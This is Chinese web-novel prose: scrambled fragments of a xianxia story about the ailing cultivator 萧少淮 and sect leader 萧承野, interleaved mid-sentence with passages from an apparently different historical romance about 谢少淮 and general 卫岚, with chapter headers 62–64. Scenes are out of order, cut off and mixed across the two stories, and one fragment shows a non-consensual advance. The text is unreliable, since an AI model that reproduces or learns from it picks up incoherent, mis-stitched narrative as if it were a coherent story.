边叙神情间浮现出些许疑惑,他还没来得及说什么,便听面前的人先一步笑着开口。 “所以刚才就是个误会,我也没有什么大碍,西峰主不必放在心上。” ——萧少淮先发制人地直接把这个话题掠了过去。 边叙抬头看了他一眼没有说话,松一倒是长舒了一口气,没忍住又瞪了萧少淮一眼。 “你还没什么大碍呢,刚才吐血都吐的不要命了。” 松一小声嘟囔:“这么喜欢受伤,怕不是恋痛” 萧少淮扶着书架慢慢站起身,不置可否地弯了下眼,悠悠开口:“小师侄此言差矣,我可是最怕痛了。” 他眼前有些发黑,神情间却看不出任何异常,只在松一的搀扶下快步向门口走去。 回去的路比来时要快了许多,萧少淮看着石窟口透出的近在咫尺的光亮,无声地舒了一口气。 但在离门口几步之遥时,旁边的边叙忽然开口:“你方才在高兴什么?” 萧少淮脚步一顿。 “从我之前向你出手的那刻,你仿佛心情就一直很好。”边叙紧紧地盯着他 这个书呆子的感觉还真是敏锐的可怕。 萧少淮眉心跳了跳,面上却依旧笑眯眯地看不出异常:“峰主多虑了。” “我第一次见到峰主,怎能不高兴?” 他眼前有些发晕,刚才那枚药丸的副作用在逐渐显现,萧少淮踉跄了一步,挣脱开松一的搀扶,靠着书架笑了笑。 “你在看到我衣服纹样的时候才知我是西峰峰主,但在那之前——” 方才打斗的一帧帧场景在脑海里重现,边叙缓缓开口。 “——在那之前,你情绪很明显就已很兴奋了。” 边叙盯着他:“你之前认识我?” 萧少淮眼前已是一片明明灭灭,张了张口,一时间却没有说出话。 他只微微摇了摇头,下意识慢慢继续往外挪。 边叙紧紧盯着萧少淮的脚步。 萧少淮往外走时,脚下的步伐虽有些踉跄,却并未踏错一步。 ——仿佛早已熟知。 边叙皱了皱眉。 面前的人给人的熟悉感和记忆中某个人越来越相似,但样貌却又似乎……并不一致。 一阵清风从石窟门口刮过,隐隐露出萧少淮腰间的一块无字玉牌,边叙瞳孔骤然紧缩。 他上前一步,蓦然开口:“师兄?” 下一秒,他看着萧少淮扶着石门的手指一瞬间攥的青白。 他神情间似乎闪过一丝不可置信,紧接着又硬生生扯出一丝笑意。 萧承野扶着谢少淮坐在床上,有气无力道:“宴州府衙出了卧底,本王他们中了埋伏,不过匪患已经处理完了,等本王休息两日就能回琢州。” 谢少淮:“……为何今日不回去?” 谢少淮垂眸,目光落在萧承野肩上绷着的白色布料,看这伤势也不至于走不了路。 萧承野靠着软枕嗤笑了一声:“大人好狠的心,一两日都不愿多待吗?” 谢少淮:“罢了,看在你照料阿澶的份上。” “待着别动,我去弄些吃食。” “不急,”萧承野说罢,抬手轻轻蹭着谢少淮的脸颊,“大人,本王想小解。” “先扶本王去小解好不好?” 第 62 章 第 62 章 若不是萧承野身上泛着淡淡的血腥味,就冲他此时没脸没皮的样子,谢少淮很难不怀疑男人是故意刁难他的。 “想什么呢?”萧承野一只胳膊不方便,只能用没受伤的那只胳膊靠着软枕,见谢少淮脸色不好,萧承野便用受伤的胳膊发力支起身子,但还没起来就又摔在了被褥上,“真的好疼。” 谢少淮蹙了蹙眉心,上前将萧承野扶起来:“知道了,你在这儿等我,我下去取夜壶来。” 谢少淮俯身靠近萧承野便能闻到他身上淡淡的香味,青丝垂下轻轻划过他的脸像是黑白无常勾人魂儿的夺命锁似得。 萧承野闭上眼感受,任谢少淮将被褥掀开轻轻搭在他身上,“劳烦大人了。” 谢少淮:“……”萧少淮醒来的时候,只感觉胸口好像压了一块大石,怎么也上不来气。 他憋的眼前直发黑,下意识往床头摸索茶盏,却一把摸了个空。 他愣了一下,意识到什么,收回手轻笑了一声,撑着旁边的床榻想要坐起来,却一瞬间再次按了个空。 萧少淮:??? ——天道就一定要他今天死在这吗。 他憋的头晕目眩,也看不清四周,干脆胡乱伸出手臂在旁边摸索,终于在即将坠地那一刻,手臂不知卡到了哪处,发出“砰”的一声闷响。 ——但好歹是止住了下坠的趋势。 “嘶” 手腕连带着手臂传来一阵钻心的疼,但好歹缺氧的状况缓解了不少。 他此时终于逐渐看清,自己正身处一件狭小的屋子,屋里空空荡荡,除了一张床和一个小案几外,再无其他。 ——破败的有些尴尬。 正如他此时的身体情况一般,半边身子倚着案几,单手撑着床铺,整个重心都落了出去,艰难地维持着这个别扭的姿势。 萧少淮苦笑了一声,深吸一口气,想趁着没人重新坐直身子,下一秒却听门口传来一声惊呼。 “哎,你终于醒了——你干什么呢?!” 萧少淮: ——看来不一定是天道要他死、也可能是这个房间克自己。 他干脆放弃了起身的动作,半抱着手臂靠在原地,头一歪,就这么个懒懒散散的姿势望向门口。 松一端着一碗汤药气急败坏地冲了进来:“你干什么呢?知不知道自己身体什么样就敢乱动,万一出事了” “躺久了,起来靠一会儿。”萧少淮慢慢悠悠地开口。 “再者,我要是出事了,也是这个房间老旧的缘故,我一个病人住这种屋子怎么能好好养病。” 萧少淮眨眨眼,冲着松一笑了一下:“小师傅给我换一间上好的屋子,有暖炉,雕花大床,再要一盏长明灯点在那” “你想的美,你点菜呢?你一个来历不明的人还想住上好的屋子。”松一毫不客气地打断萧少淮的话。 他将手中的碗放到一旁,伸手想要将萧少淮扶起来。 “我好不容易把你救回来,你自己不珍惜也就罢了,能不能珍惜一下我的心血。还有,什么小师傅,我叫松一,我已经快要及冠了,不小了。” 他扶上萧少淮的手臂刚要使力,却见下一秒,面前的人借着他的手轻轻一按,衣摆一翻,重新坐回了床中央,不着痕迹地拂开了他的手。 松一愣了一下,为他难得的听话感到有些茫然:“你这就坐回去了?” “来者即是客,客来了,我岂有不坐好的道理。”萧少淮笑眯眯地开口,冲着松一微颔首。 “多萧小——师侄。” 松一被哄的一愣一愣的:“哦那好。” 他话音刚落,忽然意识到萧少淮又没说真话:“不对,你谁啊?谁就是你师侄了?而且你要真这么尊重我,刚才我进来的时候你怎么不坐好?” 萧少淮捂唇咳了咳,笑着没有说话,松一咬了咬牙,瞪了他一眼,拿过旁边的白瓷碗。 下一秒,便听萧少淮坚定开口:“我不喝。” 松一:? 松一:“我还没说是什么呢。” “药啊。”萧少淮微微凑过去闻了一下,又迅速往后撤了撤。“北沙参、麦冬、玉竹沙参麦冬汤加减的药方。” 他一边说着,一边嫌弃地往后又缩了几分:“又苦又没用,我不喝。” 松一被他一连串的话语整懵了:“你怎么对汤药这么了解不对,我的药怎么就没用了?” 他反应过来什么,瞬间跳了起来:“我的医术可是刚入门时就得师父亲口夸赞,虽还算不上顶尖,但至少是上乘——” “上京洲掌门,十二岁掌握所有存世毒理,十四岁炼出已绝世的毒药,十六岁自成一套毒理体系。”萧少淮打了个哈欠,懒洋洋开口。 他抬起头,语气似乎带着一丝骄傲般,似笑非笑地望向松一:“上乘与顶尖,差别可不止一线。” 松一涨红了脸,无声地张了张嘴,似乎是被他怼的哑口无言。 萧少淮满意地缩回被窝,等着面前的炮仗当场自燃气急败坏离开,或者被这一盆冷水浇的哭哭啼啼出去找师父抱大腿。 谢少淮给萧承野盖好褥子,下楼找店家要了夜壶,再返回的时候萧承野竟然睡着了。 “我知,但他曾经在魔族结界内救过我和松竹师兄,万一有什么误会” 身后萧少淮压抑的咳声再次传来,松一深吸一口气,更加加快了语速。 “我不是在为他开脱,师父,但他本就是个病秧子,身子三步一喘五步一歇,怕是受不住您这一击。” 松一眨眨眼,小声开口:“我先吊住他一条命,不然人死了,您也问不到对不对?” 边叙举着手静了几秒,忽然撤回手,进而倏然站起身:“有理。” 松一无声地舒了一口气。 他转过身面对着身后的人,一边伸出手一边没忍住又叹了一口气:“你怎么样?把手腕给我,我看看你具体伤的怎么样” 松一话说到一半已伸手拉住萧少淮的手,却被皮肤的温度冰的一激灵。 他直觉哪里不对,倏然抬起头,整个声音忽然变了调。 “萧少淮!” 书架前的人似乎已经完全失去了意识。 他原本跪坐的姿势因为脱力而跌坐下来,歪头靠在角落,层层叠叠的布料堆叠在蜷曲的双腿上,露出一小截苍白的脚踝。 脸上仿佛连最后一丝血色都消失了,唇色苍白的可怕,被松一一推,身子晃了晃,径直软在了他怀里。 ——而松一甚至感受不到怀里人的呼吸。 松一快要吓疯了。 “喂,你醒醒,你怎么了” 他一手撑住身子不住下滑的人,一手去寻他的脉门,想要往里面输灵力,“萧少淮,别睡,你清醒一下” 怀里的人身子冰凉,周身没有半分力气,恍若布满冰裂的白瓷,一碰就要碎掉。 “师父,您帮帮我”输进去的灵力仿佛石沉大海,松一慌了神,有些绝望地抬头望向边叙。 下一秒,却听边叙低声开口:“他还活着。” 松一怔了怔,有些仓皇地去摸萧少淮的脉搏,却依旧感受不到任何跳动。 “没有,他没有我听不到” “他体内还有灵力流转,”边叙皱了皱眉,神情也有一些疑惑,“很弱,但确实存在。” 一般灵力波动弱到这个程度,基本上不是个废人,就是重病卧床。 这么一想,刚才两人打斗时,边叙似乎也没感受到萧少淮身上的灵力波动,甚至还没有现在昏迷时波动明显。 但面前的人刚才活蹦乱跳的不说,甚至还给他制造不小的麻烦。 边叙本就嗜书如命,对新奇之事有着强烈的兴趣与执着。 他再次慢慢蹲下身,一点点凑近萧少淮,原本木然的神情间终于多了一丝兴味,伸手又要去够萧少淮心口的脉门。 下一秒,却看到面前双眼紧闭的人身子一颤,神情间浮现出一抹痛苦,紧接着蓦然张口。 “咳——” 边叙意识到不对,迅速往旁边一闪,却还是被飞溅的血沫落了半身。 “咳咳咳抱歉,我刚没看到你,不是有意要,咳咳” 萧少淮一口气还没缓过来,却是冲他勉强勾了下唇,整个人还有些脱力,靠在松一肩膀上一连声地咳着,背脊微颤。 边叙倒是没什么太大的反应,满不在乎地看了一眼弄脏的衣袍,干脆直接脱下来扔到了一边,仍旧一眨不眨地盯着面前的人。 三人之间,只有松一反应最剧烈。 “行了,你醒了就先闭嘴,别说话了。” 他惊慌与欣喜交织在脸上,伸手再次按住萧少淮的脉搏,在确认面前的人是真的活过来后,忍不住又絮叨了起来。 “你知不知你刚才都已经连呼吸都没有了,你身体到底什么情况,有哪里难受赶紧说出来” 松一扶着面前的人重新靠回书架上,话还没说完,忽然听到面前的人笑着打断他的话。 “我没什么事,多萧小师侄关心。” 松一只当他又在为了不喝药耍无赖,瞪了他一眼:“你能不能配合一点,你知不知道你刚才真的快要死了。” “上次你说我给你煎的药没用,那你这次自己告诉我你到底出了什么问题,我得知道你身体的具体情况才能对症下药” 萧少淮眨了眨眼,忽然“哦”了一声。 “我确实有些不舒服。” 松一满意地抬起头,却看面前的人抬起手,冲着他微微晃了晃。 “刚才摔下去的时候一时没控制好力度,掌心被碎片划破了,能否麻烦小师侄帮忙包扎一下?” 松一: 他直接气结:“你——” 他还没来得及说什么,忽然只见旁边一直一言不发的边叙伸出手,径直按住了他的脉门。 萧少淮惊了一下,下意识想要挣扎,下一秒却看边叙转过头,望向松一:“他身子有旧伤,但确实已无大碍。” 萧少淮愣了愣,这才意识到边叙只是过来给他把脉。 旁边的松一也怔了一下,进而不可置信地抬起头:“这不可能!” 他迅速伸手按住萧少淮另一边脉搏,意识到了什么,眉头越皱越紧。 ——萧少淮的脉搏确实和之前没什么两样。 除了能摸到如之前般身体底子弱的一塌糊涂外,压根没有刚受过重伤的脉象。 “这不可能” 松一喃喃开口:“你刚才分明” 谢少淮抱着萧承野的头,发觉他的体温又高了不少,“萧承野你烧糊涂了,我们回府衙找大夫。” “死不了,”萧承野将谢少淮扔在床上,欺身上去,扶着他的额:“不许走,不许离开本王。” 谢少淮:“我没有走。” 谢少淮的头发还湿着,就这么躺在被褥上,弄湿了被褥今晚都用不了了,他推了推萧承野的肩膀,小声道:“你等我擦干头发……” 话音未落,萧承野便捏住了谢少淮的脖子,强势地将舌尖渡过去,吻够了人,又死死将人箍在怀里,在青年心口乱舔:“你又要抛弃本王……” 说罢,萧承野顿了顿,咬牙道:“谢少淮,你有没有心?” 第 63 章 第 63 章 谢少淮被萧承野压得喘不过气来,只能用手撑着男人的肩膀,“萧承野,你犯什么病?” 谢少淮已经尽力去推萧承野,但奈何一个成年男人哪里是说推开就推开的,更何况萧承野已经不是三年前那个十七八岁的少年了。 萧承野磨了磨犬齿,在谢少淮的锁骨上留下一个牙印,咬过之后还范府在那印子上舔砥,“谢少淮你没有心。” “你又要抛弃本王。” 谢少淮:“……你别犯病。” 如果可以,谢少淮现在真想一个巴掌把萧承野打清醒,但是萧承野现在的状态明显不对劲,觉得自己挣扎没用,谢少淮放下了抵在男人胸前的双手,微微抬着下颌,更方便男人在他胸前为非作歹:“王爷你病了……停下我们去看大夫。” 谢少淮指望着萧承野能清醒过来,但身上的男人并未停下,反而是越演越烈已经要动手去扯他的衣带了。 人都能来的。他重新半弯下腰,捂着胸口摆了摆手,声音比刚才又弱了几分:“等一下小师侄,我真的走不动了,你要体谅一个病重之人” “你有一点病重之人的自觉吗。”松一忍不住开口。 萧少淮苍白着一张脸,冲着他微微勾了勾唇,被凉气一激,又没忍住偏头闷咳起来。 ——让原本想要再开口的松一莫名有一种自己真的在虐待病人的错觉。 他犹豫了一下,终于开口:“那要不你在这里待着别动,我把萧宿泱那几本书给你拿过来。” 松一话音刚落,便看到面前的人露出了一副“你怎么不早说”的神情。 “我怎么知道你身体弱成这样啊!”松一咬牙。 他见萧少淮唇色都已隐隐泛白,到底也没再说什么,只又叮嘱了他几句不要随意乱跑,端着灯盏迅速消失在拐角处。 灯盏带来的星星点点暖光逐渐远去,四周的夜明珠的冷光逐渐凸显,在一片寂静间莫名诡异。 萧少淮缓缓舒了一口气。 他慢慢直起身,神情间的虚弱感早已一扫而空。 “还是不改书呆子的习性,一个藏书阁建的跟迷宫似的。”萧少淮勾了勾唇,脚下微错,一晃身便重新回到刚才被他碰掉的夜明珠前。 他手指绕过夜明珠,小心翼翼地抽出后面那本书来,轻轻吹了一口气。 细微的浮尘瞬间漂浮在空中,书封上尘封已久的印记也终于逐渐浮现。 萧少淮微微垂下眼,瞳孔微缩。 ——这还真是他自己的字迹。 萧少淮随手翻了翻,这本不是药书,不过是一些寻常杂记,松一应当是没有发现过。 看来这藏书阁确实比他想象的还要“大”。 萧少淮将书卷起来,在手腕处敲了敲,指尖一转,忽然掏出一张符来。 他环顾了一圈四周,轻轻打了个响指,四周夜明珠泠泠的光倏忽间流动了起来,一点点汇到那黄符之下。 流转的光晕恍若九天银河,萧少淮指尖一弹,轻呵一声:“去。” 银河骤然炸开,紧接着不过一瞬,昏暗的书架上起此彼伏地一点点显露出四散的星光。 萧少淮皱了皱眉。他犹豫了一下,还是咽下了心中的疑虑,保持着半弯腰的姿势,低声开口:“宗主,您今日怎么过来” 他话还没说完,终于听到萧承野微冷的声音响起:“带回去。” 松竹愣了一下,旁边的松一更是直接茫然开口:“什么回去?宗主您要带这个来路不明的人回去?您平常不是从来不让外人进” 松竹: 他为自家没有眼力见的师弟无声地叹了一口气,上前一步半挡在前面,直接打断了松一的话:“好的宗主,我们这就带” 他迟疑了一下,一时间不知道怎么称呼面前这位。 下一秒,萧承野的声音从头顶传来。 “萧少淮。” 松竹抬起头,只看到萧承野转身时翻飞的玄色衣摆。 “他名萧少淮。” 松竹下意识应了一声,旁边的松一无声地松了一口气,低头看了怀里的人一眼:“也不知道他到底是什么人,宗主竟然都忘了宵禁的惩罚” 他话还没说完,下一秒,听得萧承野微冷的声音再次传来。 “你们俩,自去论功堂领罚。” “是。” ——反正终归能跑出去免他喝药。 没想到下一秒,却听面前的人万分狐疑开口:“你怎么对上京洲掌门的事这么了解?你真的不是瞎编的吗?” 这孩子脑子是缺根筋吗。 萧少淮一时间不知道给出什么反应。 他眨了眨眼,忽然凑近松一,冲着他勾了勾手。 松一下意识凑近,下一秒只听萧少淮小声开口:“其实我是上京洲掌门的狂热追随者。” 松一:“你就是瞎编的吧!” 萧少淮微微叹了一口气:“我对上京洲掌门仰慕已久,苦于一直没有机会靠近,只能一点一滴了解他曾经过往,努力追随” 他话还没说完,忽然听到门口一个低沉的声音传来:“你要追随谁?” 萧少淮的声音戛然而止。 萧承野站在门口,身后跟着神情有些复杂的松竹。 旁边的松一退后半步行礼,萧少淮眸光微闪,只愣了一瞬,立刻笑眯眯改口:“当然是追随宗主您呀。” 松一毫不客气地冷哼一声,引来松竹一阵皱眉。 萧承野缓步走上前,盯了萧少淮几秒,忽然冲着旁边的松一伸出手。 松一愣了一下:“宗主,您是要什么” “药碗,给我。”萧承野低声开口。 松一此时才想起来,他来这里的初衷是要让萧少淮喝药。 他瞪了萧少淮一眼,转头望向萧承野迅速开口:“宗主,还是我来吧,这个人奸险狡诈,惯会用小伎俩拖延,我按着他先把药灌下去,您再继续审问他——” 萧承野一直落在萧少淮身上的目光终于一点点移开,碧色的眼眸无波无澜:“药碗,给我。” 松一声音戛然而止。 销春尽宗主二十一岁平定六界四道叛乱,一人一剑坐镇终灵山,销万古白雪,锁无垠春色。 冰冷薄情,不怒自威。 但对待宗内小辈,总还会有意收敛几分。 这是松一第一次感受到,萧承野扑面而来的威压感。 他无声地张了张口,下一秒,忽然感觉手中一空。 松竹将药碗从他手中迅速抽出,微弯下腰放到旁边的案几上:“我们先告退了,宗主。” 萧承野没有说什么,将目光重新移了回去,松竹也不再说话,拉着松一微一行礼,垂着头迅速退了出去。 “刚才吓死我了。”房门关上的那一刻,松一才终于松了一口气。 他拍了拍胸脯,有些迟疑地望向面前的木门:“师兄,是我的错觉吗,我怎么觉得宗主的神情有些不太对屋里的那个人就这么惹宗主生气吗?” 他探了探头:“那个人到底是什么身份?宗主真的认识他吗?” “不知道。” 松竹神情复杂地看了自家缺根弦的师弟一眼,张了张口,一时间又不知道怎么说。 他盯了松一几秒,终于缓缓开口:“你读的医书里,有治疗脑部的方子吗?” 松一莫名其妙地点了点头:“有啊,师兄你是磕到脑子了吗?需要我帮你诊一下脉” “不用。” “你煎一副,给自己喝吧。” 松竹抛下一句话,转身头也不回地向后走去:“谨防你再不过脑子。” 松一:? 刚才他挥出去的是一个简易的小范围计数符,是他曾经无聊时拿追踪符改造的。 追踪符能寻迹觅踪,所以追根到底计数的原理也就是把所有沾染上这个气息的东西都显现出来,让施符者有个大概估量。 ——这个藏书阁里,竟然还真有不少和他相关的东西。 周围明灭的冷光瞬间如鬼魅般令人悚然,萧少淮搓了搓手臂,微微打了个寒战。 “藏这么多我的东西居心不良。”他小声开口,环顾一圈,大致记住了几个方位。 身后似乎隐隐有响动声传来,萧少淮手腕一翻,周围的光亮迅速暗淡。 他抬指按在自己脉门处,不过片刻,脸色便肉眼可见地苍白下来。 萧少淮身子晃了一下,捂唇咳了咳,轻笑着抬起头:“小师侄回来的还挺早——” 他话还没说完,忽然瞳孔紧缩,足尖一点骤然向后撤去。 下一刻,他原本站的那处青石板发出“砰”的一声闷响,顷刻间露出几道裂纹。 萧少淮堪堪稳住身形,还没来得及说什么便看对面的人身形不停,手掌在旁边书架上径直一撑。 书架上的夜明珠分毫未动,那人却已迅速转了身形,毫无停滞地再次向他袭来。 萧少淮皱了皱眉。 ——身法熟练,对灵力的控制分毫不差,境界至少在六月息者之上。 有这个境界的人在销春尽也是屈指可数,再加上这个藏书阁外人轻易无法进来,萧少淮心中对来人的身份已大概有了个猜测。 他手中原本捏着的几张符纸瞬息隐去,在那人贴近的一瞬袖口一展,浑浊的烟雾瞬间在两人间蔓延开来。 那人立刻屏息,脚步一顿,停下攻势警惕地望向周围的浓雾。 “阁下是谁,怎么一上来火气这么大?”萧少淮带着笑意的声音从一片混沌间模糊传来。 那人倏然偏过头,一掌挥出,却打了个空。 一阵低低的笑声在他耳畔响起,如绕指柔般萦绕在侧,却又分不清方向。 “我与阁下应当是素不相识吧,若不是早有积怨,莫非阁下对我偷偷恋慕已久?” 他话音刚落,下一秒,便感觉一股灵力将他直接锁定,紧接着,一股恐怖的威压骤然袭来。 境界差距带来的压迫如天网般将他整个人包裹得动弹不得,萧少淮心神剧震,指尖立时浮现出几张符纸,却没忍住闷咳一声,唇角立时溢出几缕血丝。 同一刻,一个木然的声音瞬时由远及近:“聒噪。” 萧少淮手指颤了颤,忽然间缓缓松开了原本夹在指尖的两道符咒。 掌风袭来,烟雾消散,那人身影瞬间逼近。 萧少淮在巨大的不适感间,甚至抽出了几分精力,扫视了他一眼。 那人眉目俊朗,只是表情木然呆滞,穿着一身最普普通通的宗门灰色长袍,只底下暗纹处用银丝云线绘上了销春尽西峰的标识。 ——销春尽西侧峰峰主,边叙。 此时,他手掌前推,一掌锁住萧少淮位置,正待聚力,忽然听到一个焦急的声音从拐角书架处传来。 “师父——” 通报的守卫军见大将军眉心一蹙,便知道这是要生气了,感觉解释了一句:“将军,王爷受了伤,应该是身边那位大人照顾的。” “此乃我西北军营不是小孩儿过家家的地方,”卫岚收了长枪,板着脸跃上马儿:“去内营。” 谢少淮随萧承野进了军营,便传了军医将萧承野身上的伤重新处理了,弄完之后男人又吃了一剂汤药,便沉沉睡下了。 来前谢少淮并没有准备在此地多逗留,但是眼下萧承野睡着了,他自己也回不到琢州去,只能守在男人身边,好在破玄也在,让人给他弄了席子和被褥。 大漠的夜格外的冷,谢少淮见萧承野没什么事情,便准备早些休息,明日一早好会涿州,结果他刚准备熄灯,便听见外头有马蹄声,紧接着一道熟悉的男音便传了过来:“将军带回来的男人在里面?” “回禀大将军,是!” “把人带出来。” 谢少淮听得出来,那男音正是卫岚,两日前他在雁山侯府见过男人。卫岚不喜他。 谢少淮将整理好的被褥放下,随后走出了营帐。甫一掀开帘子,果然见卫岚正站在营帐外。 谢少淮抬手向男人行礼:“下官见过大将军。” 卫岚上下打量了面前的青年一眼,冷冷道:“随本将军回营帐,本将军有事情要问你。” 第 64 章 第 64 章 谢少淮从卫岚的营帐出来后,便看见一堆点着烽火的车马,随后他身后的男人也出了营帐,“请吧。” 此时夜色已沉,谢少淮本以为卫岚就算是不喜他待在这里也不至于今夜就要他离开。但看着面前的人马,显然卫岚不容他在这里过夜。他倒是有些高估大将军的肚量了。 谢少淮回头,目光放在身后的卫岚身上,男人脸色还是一如既往的差。 他道:“若今日我走了大将军是否能看好王爷,让他安心待在军营中不要再……骚扰本官?” 谢少淮咬重了骚扰二字,卫岚闻言脸上可谓精彩纷呈。 “这是自然,”卫岚:“本将军看的出来大人的心不在王爷身上,再多纠缠只会让真心之人伤心。大人不该来琢州。” 卫岚:“阿澶你想带回长安便带回去,西北的情况你应该了解,他在这里待着也不好。” 谢少淮:“多谢将军成全。” 谢少淮说罢,便转身上了马儿,眼眸余光扫见了萧承野还亮着灯火的营帐。无人注意的角度下,谢少淮的眸子沉了又沉,但也就这么一瞬间,还未曾有人察觉,他便旋即他夹紧马腹跟着军队朝大营外驰去。 卫岚站在营帐外,看着远去的背影,心这才算落在了肚子里。 一旁的守卫军:“大将军咱们这么把人送走,王爷明天醒了会不会生气啊?” 卫岚蹙眉,“让军医给他多开几天安神汤,这几日没事儿就别让他醒,等他醒了人不就回长安了?” “这……”守卫军:“将军,王爷的脾气您是知道的,真要是这样,王爷醒了非得跑回长安去,咱们倒不如明日和王爷说清楚,大战在即想必王爷掂的清轻重缓急。” “他若掂的清就不会和周家的人有孩子!”卫岚气的脑袋都要炸了,捏了捏眉心,又觉得哪里不对劲:“长安那么多好郎君,他偏偏挑了冠英侯府的人?再任他这么胡闹我西北的将士将来就成了周家的私兵了。” 守卫军:“将军的意思是,这位大人是太后娘娘派过来故意勾引王爷的?” “管他是不是,总之他既是周家的人,本将军就容不得他。”卫岚年纪大了,觉得有些事情心有余力不足,他之前明明记得萧澶这小家伙说他爹爹姓谢,和那个有名的谢神童一个姓怎么突然又变成姓周了? 许是他记错了。 樾为之一袭红衣坐在床旁,头发用一根红色金丝发带高高束起,发带中央顶着一颗硕大的红玉宝石。 端的是张扬无比——如果不是他现在眉间阴霾密布的话。 他听着萧少淮的话,再次冷哼了一声,手腕一翻,几根银针瞬间落到了床上没个正型的人身上,针尾还轻轻发着颤。 萧少淮“嘶”了一声,瞬间痛的打了个哆嗦。 “樾为之,你虐待病人啊!” “不疼点你怎么会长记性。”樾为之冷笑了一声,又想到了什么,阴阳怪气地“哦”了一声。 “我忘了,再疼你也不会长记性,只会一次次巴巴地往火坑里跳。” 银针上附着的灵力在一点点往全身经脉里渗入,萧少淮又轻轻“嘶”了一声,单手撑起身子,慢慢靠回床头。 “哪有一次次跳,我现在不还好好地待在这儿呢吗,”他望着樾为之,轻轻笑了一下,“真跳那么多次,我不早就粉身碎骨了。” “你以为你现在好的很吗?”樾为之直接被气乐了。 他实在懒得理这个完全不珍惜自己身子的人,鼻腔“哼”了一声,径自拂袖起身大步往外走去。 “药在桌子上,你爱吃不吃,我先走了。” “哎,等一下!”萧少淮手指动了动,无辜抬起头,“你不把针拔了再走吗?” “银针插一晚上也死不了,”樾为之不为所动,衣袖纷飞间继续大步向前,“等明早你自己有力气了自己拔吧,刚好时间长疗效好。” 他话音刚落,便听身后的人声音忽然软了几分:“可是好痛啊,为之。” 樾为之脚步一滞。 萧少淮咳了几声,又小声开口:“是我错了,为之……真的好痛。” “……知道痛之前干什么去了!” 樾为之倏然转过头,大步走到萧少淮身前:“我给你那个药不是让你这样毫不顾惜自己身体、以身犯险的。” 萧少淮垂着眼,微微颔首:“我知,但……” “你不知道,萧宿泱。”“看够了吗?” 他手指一动,原本蜷在手中的三枚铜钱倏然飞出,紧接着头顶传来一声乌鸦的尖叫。 萧少淮转过头,原本琥珀色的桃花眼不知何时变成了一片猩红,闪着微光光。 他微微仰头,慢慢抬起手,冲着虚空勾了勾指尖。 “看够了,就给我滚过来。” 松一好不容易赶到规训堂的时候,正卡着晨课的点。 他长舒了一口气,在松竹不赞同的目光下,蹑手蹑脚地挪到了学堂后排。 “你别罚我,师兄,我知道我今天又是最后一个到的,但我好歹没有迟到,而且像我这样的精准卡点才是最难得” 松一不等松竹发问,低下头迅速小声辩解着,却看下一秒,松竹还是缓缓抬起了手。 松一下意识往后缩了一下,却听松竹低声开口。 “你不是最后一个。”萧承野有一双浅碧色的眸子,年幼时没少因此遭到他人排挤、嘲笑。 但萧少淮却从第一眼见时,就觉得那双眸子很好看。 像一汪碧色的深潭,远看冰冷幽暗,真正望过去时却清澈见底,让萧少淮不自觉地放松下来。 萧少淮从来不觉得萧承野是个怪类、异种,反而觉得他理应能轻易读懂他的所有情绪。 ——但此时那双眼眸间夹杂着萧少淮看不懂的复杂意味,令萧少淮心惊。 松一一愣。 “第一堂课很高兴认识诸位,咳,今日居学就先分析一下我方才那个符咒” 他一边说一边抬起头,忽然动作一滞。 萧承野不知何时站在窗外,正目光沉沉地望着他。 萧少淮瞬间出了一身冷汗。松一远远就听见了这边的打斗声,匆匆忙忙想要赶来,奈何七拐八拐的实在太过难走。 等他好不容易赶到近前,正看到面前这一幕。 他想要上前,但在自家师父境界的压迫下压根无法靠近分毫。 “师父,您手下留情,他不是——” “他身上有魔族的气息。”边叙忽然打断他的话。 松一话语一滞。 就这一刹那,边叙的掌心已贴上萧少淮胸前。 他忽然皱了皱眉。 ——那一瞬间,他似乎从面前人眼眸间捕捉到点点笑意。 萧承野明明没有什么表情,萧少淮却莫名觉得他有些生气了。 松竹有些无奈地往后指了指,松一下意识回头,便看到昨天那个“病秧子”正半撑着腰,气喘吁吁地站在门口。 樾为之冷声打断他的话。 “那个药能在一刻钟内迅速恢复你身体的致命伤,但半个时辰后会即刻昏迷,陷入心魔;如果不能最终破除,轻则永睡不醒,重则走火入魔。” 樾为之咬牙望着他:“我给你那个药是让你在危机时刻能有一线逃生机会,不是让你在众目睽睽、毫无保障的情况下陷入心魔。” 房间里一时静的可怕,萧少淮靠在床头,放缓呼吸对抗着银针带来的刺痛:“他们不会伤我的,为之。” 他对上樾为之冷然的神情,又笑眯眯补充道:“至少现在不会。” 樾为之冷哼一声,下一秒看着面前的人讨好般冲他弯了弯眼:“而且,这不是还有你吗?” “你看我下次还管你不管,”樾为之狠狠地瞪了他一眼,毫不留情地开口,“何况你怎么知道他们不会伤害你,你变成这样是拜谁所赐?” “你已经不是销春尽的人了。”樾为之冷声开口。 “非我族类,其心必异。” “你失忆了,你怎会知我叫萧承野。”萧承野冷声开口。 “没关系,萧宗主如果不好意思详述我们相识相知相恋的过往,可以简要” 他话还没说完,下一秒,便听萧承野轻声开口:“你曾出身销春尽。” 他盯着萧少淮,却看萧少淮愣了一下,眼中莫名浮现出一抹惊愕与不可置信。 他倏然坐直身子:“这不可能,你” “什么不可能?”萧承野立刻开口追问。 但下一秒,萧少淮意识到什么,迅速收敛神情,却似乎牵动了身体里什么旧伤,弯下腰捂住胸口,剧烈呛咳起来。 萧承野上前一步,皱眉望着面前的人。 萧少淮咳的停不下来。 他身子整个半弯了下去,勉力平静着呼吸,却到最后关头蓦然一颤,身子一塌,偏头用袖口捂住唇,似乎张口呕出了什么。 萧承野垂在身侧的手一点点收紧,他想要上前一步,却见面前的人已经抬起头,重新恢复了一贯兴味盎然的模样。 “没什么,我只是惊讶——” 萧少淮将方才捂唇的手背到身后,笑眯眯抬头,语调暧昧:“——萧宗主这算亲口承认了我们的关系吗?” 萧承野:“我只知你曾出身销春尽,我在长生殿的长命烛上曾看到过你的名字。” 他目光落到萧少淮背着的手上,只一秒又迅速移开:“除此之外,一无所知。” 萧少淮怔了怔,却只看萧承野转过身,衣袖翻飞间,落下最后一句:“明天的课寅时七刻起,在规训堂,切勿迟到。” 萧少淮:?? 下一刻,一阵绝望的哀嚎声从房间内传来:“寅时?那时候天都没亮呢?!” 萧承野没有理会,径直转过身向门口走去。 萧少淮还在垂死挣扎:“等一下,萧宗主既然之前认识我,应该也知道我不认得路吧,至少应该——” 萧少淮无声地叹了一口气。 “走的这么决绝” 一阵冷风刮过,将本就不甚牢固的窗几吹开,萧少淮被冷风激了一下,偏过头,捂唇低低地闷咳起来。 天空逐渐被暮色取代,几声细微的鸟鸣声从窗外划过,月光从微敞的窗沿洒落,照出苍青色的青石板,也照出了无声无息落入房内的一个人上。 